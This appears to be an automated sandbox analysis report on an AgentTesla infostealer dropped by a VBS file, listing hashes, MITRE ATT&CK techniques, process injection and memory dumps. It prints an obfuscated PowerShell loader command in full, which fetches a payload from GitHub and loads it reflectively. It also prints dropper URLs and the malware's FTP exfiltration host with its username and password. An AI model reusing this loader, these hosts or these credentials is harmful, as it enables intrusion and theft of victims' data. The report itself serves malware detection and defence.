agenttesla | 1bdfe6f21b7a29417448cf67abaa31b40e05c36565fba5d6ae87d69a0b34919a

General

Target

333343MPDW-constraints.vbs
Size

96KB
MD5

68f1806fe9b9ef502b39df87c915c1a3
SHA1

be6a50cfb696458781876d0a0c5a2b7bbd122003
SHA256

1bdfe6f21b7a29417448cf67abaa31b40e05c36565fba5d6ae87d69a0b34919a
SHA512

e8cac45dc1f8f21775e8a164289c49e8b44d858a2b1e5c4bff8dab7a487ec2b3582baa3af0316dc337f2b28254a4b1b032ba9a9ef7cae14cc7330896e2e2faf0
SSDEEP

1536:VT1yJpqU2CAFLOkZfnW/tiBOTc2EkeJ7gZOg/B4659GLj+vASLQLrjnXflpxc:VT1TCAkkZfiYSbzRZ4659GfG8LrLfjq

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

exe.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.elquijotebanquetes.com
Port:
21
Username:
[email protected]
Password:
4r@d15PS!-!h

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1836	powershell.exe
15	1836	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3272	powershell.exe
1836	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1836 set thread context of 1992	1836	powershell.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3272	powershell.exe
3272	powershell.exe
1836	powershell.exe
1836	powershell.exe
1836	powershell.exe
1836	powershell.exe
1836	powershell.exe
1836	powershell.exe
1992	RegAsm.exe
1992	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3272	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	1992	RegAsm.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 3272	4076	WScript.exe	83
PID 4076 wrote to memory of 3272	4076	WScript.exe	83
PID 3272 wrote to memory of 1836	3272	powershell.exe	85
PID 3272 wrote to memory of 1836	3272	powershell.exe	85
PID 1836 wrote to memory of 440	1836	powershell.exe	89
PID 1836 wrote to memory of 440	1836	powershell.exe	89
PID 1836 wrote to memory of 440	1836	powershell.exe	89
PID 1836 wrote to memory of 4192	1836	powershell.exe	90
PID 1836 wrote to memory of 4192	1836	powershell.exe	90
PID 1836 wrote to memory of 4192	1836	powershell.exe	90
PID 1836 wrote to memory of 1992	1836	powershell.exe	91
PID 1836 wrote to memory of 1992	1836	powershell.exe	91
PID 1836 wrote to memory of 1992	1836	powershell.exe	91
PID 1836 wrote to memory of 1992	1836	powershell.exe	91
PID 1836 wrote to memory of 1992	1836	powershell.exe	91
PID 1836 wrote to memory of 1992	1836	powershell.exe	91
PID 1836 wrote to memory of 1992	1836	powershell.exe	91
PID 1836 wrote to memory of 1992	1836	powershell.exe	91

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\333343MPDW-constraints.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9JysnaW1hZ2VVcmwgPSB7MX1odHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvJysnbWFpbi9EZXRhaE5vdGVfVi5qcGcgezF9O3swfXdlYkNsaWVudCA9IE5ldy1PJysnYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ezB9aW1hZ2VCeXRlcyA9IHswfXdlYkNsaWVudC5Eb3dubG9hZERhdGEoezB9aW1hZ2VVcmwpO3swfWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHswfWltYWdlQnl0ZXMpO3swfXN0YXJ0RmxhZyA9IHsnKycxfTw8QkFTRTY0X1NUJysnQVJUPj57MX07ezB9ZW5kRmxhZyA9IHsxfTw8QkFTRTY0X0VORD4+ezF9O3swfXN0YXJ0SW4nKydkZXggPSB7MH1pbWFnZVRleHQuSW5kZXgnKydPZih7MH1zdGFydEZsYWcpO3swfWVuZEluZGV4ID0gezB9aW1hZ2VUZXgnKyd0LkluZGV4T2YoezB9ZW5kRmxhZyk7ezB9c3RhcnRJbmRleCAtZ2UgMCAtYW5kIHswfWVuZEluZGV4IC1ndCB7MH1zdGFydCcrJ0luZCcrJ2V4O3swfXN0YXJ0SW5kZXggKz0gezB9c3RhcnRGbGFnLkxlbmd0aDt7MH1iYXNlNjRMZW5ndGggPSB7MH1lbmRJbmRleCAtJysnIHswfXN0YXJ0SW5kZXg7ezB9YmFzZTY0Q29tbWFuZCA9IHswfWltYWdlVGV4dC5TdWJzdHJpbmcnKycoezB9c3RhcnRJbmRleCwgezB9YmFzZTY0TGVuZ3RoKTt7MH1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3QnKydyaW5nJysnKHswfWJhc2U2NENvbW1hbmQpO3swfWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCh7MH1jbycrJ20nKydtYW5kQnl0ZXMpO3swfXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoezF9VicrJ0FJezF9KTt7MH12YWlNZXRob2QuSW52b2tlKHswfScrJ251bGwsIEAoezF9dHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGh7JysnMX0sIHsxfWRlc2F0aXZhZG97MX0sIHsxfWRlc2F0aXZhZG97MX0sIHsxfWRlc2F0aXZhZG97MX0sIHsxfVJlZ0FzbXsxfSwnKycgezF9ZGVzYXRpdmFkb3sxfSwgezF9ZGVzYXRpdmFkb3sxfSkpOycpIC1mIFtjSEFyXTM2LFtjSEFyXTM5KSB8IC4oICRzSGVMbElkWzFdKyRzaEVsbGlkWzEzXSsneCcp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}'+'imageUrl = {1}https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/'+'main/DetahNote_V.jpg {1};{0}webClient = New-O'+'bject System.Net.WebClient;{0}imageBytes = {0}webClient.DownloadData({0}imageUrl);{0}imageText = [System.Text.Encoding]::UTF8.GetString({0}imageBytes);{0}startFlag = {'+'1}<<BASE64_ST'+'ART>>{1};{0}endFlag = {1}<<BASE64_END>>{1};{0}startIn'+'dex = {0}imageText.Index'+'Of({0}startFlag);{0}endIndex = {0}imageTex'+'t.IndexOf({0}endFlag);{0}startIndex -ge 0 -and {0}endIndex -gt {0}start'+'Ind'+'ex;{0}startIndex += {0}startFlag.Length;{0}base64Length = {0}endIndex -'+' {0}startIndex;{0}base64Command = {0}imageText.Substring'+'({0}startIndex, {0}base64Length);{0}commandBytes = [System.Convert]::FromBase64St'+'ring'+'({0}base64Command);{0}loadedAssembly = [System.Reflection.Assembly]::Load({0}co'+'m'+'mandBytes);{0}vaiMethod = [dnlib.IO.Home].GetMethod({1}V'+'AI{1});{0}vaiMethod.Invoke({0}'+'null, @({1}txt.44446esabbbbbbewmadam/431.871.64.891//:ptth{'+'1}, {1}desativado{1}, {1}desativado{1}, {1}desativado{1}, {1}RegAsm{1},'+' {1}desativado{1}, {1}desativado{1}));') -f [cHAr]36,[cHAr]39) | .( $sHeLlId[1]+$shEllid[13]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1836
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:440
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4192
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f9827a3f8b75bdf2ef47cee6e7394395

SHA1
01630763a0722ee3df60eb0c1299dc0cbb587b8f

SHA256
ba893c7bf34670ce1397a590a7141d343e2ed2b202c645249ad190bedfd9a00b

SHA512
e1470d39b4ca73dcca0dbbf99d0deb98b57850a21512671cb3332672ea736f25724cad9c1dc1b8fd1cbd630ff0d8809da343160e20fb0ee5d7b7242ba7259783

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kb1back2.0ih.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1836-25-0x000001FEE1E70000-0x000001FEE22B8000-memory.dmp

Filesize
4.3MB

Download
memory/1992-38-0x00000000066D0000-0x00000000066DA000-memory.dmp

Filesize
40KB

Download
memory/1992-37-0x0000000006780000-0x00000000067D0000-memory.dmp

Filesize
320KB

Download
memory/1992-36-0x0000000006890000-0x0000000006992000-memory.dmp

Filesize
1.0MB

Download
memory/1992-35-0x00000000066E0000-0x0000000006772000-memory.dmp

Filesize
584KB

Download
memory/1992-34-0x00000000054D0000-0x0000000005536000-memory.dmp

Filesize
408KB

Download
memory/1992-33-0x0000000005980000-0x0000000005F24000-memory.dmp

Filesize
5.6MB

Download
memory/1992-26-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3272-13-0x00007FF842150000-0x00007FF842C11000-memory.dmp

Filesize
10.8MB

Download
memory/3272-32-0x00007FF842150000-0x00007FF842C11000-memory.dmp

Filesize
10.8MB

Download
memory/3272-15-0x00000180DB1A0000-0x00000180DB1C2000-memory.dmp

Filesize
136KB

Download
memory/3272-14-0x00007FF842150000-0x00007FF842C11000-memory.dmp

Filesize
10.8MB

Download
memory/3272-0-0x00007FF842153000-0x00007FF842155000-memory.dmp

Filesize
8KB

Download
memory/3272-12-0x00000180DB480000-0x00000180DB582000-memory.dmp

Filesize
1.0MB

Download
memory/3272-11-0x00000180DB160000-0x00000180DB170000-memory.dmp

Filesize
64KB

Download
memory/3272-1-0x00000180DB1E0000-0x00000180DB262000-memory.dmp

Filesize
520KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads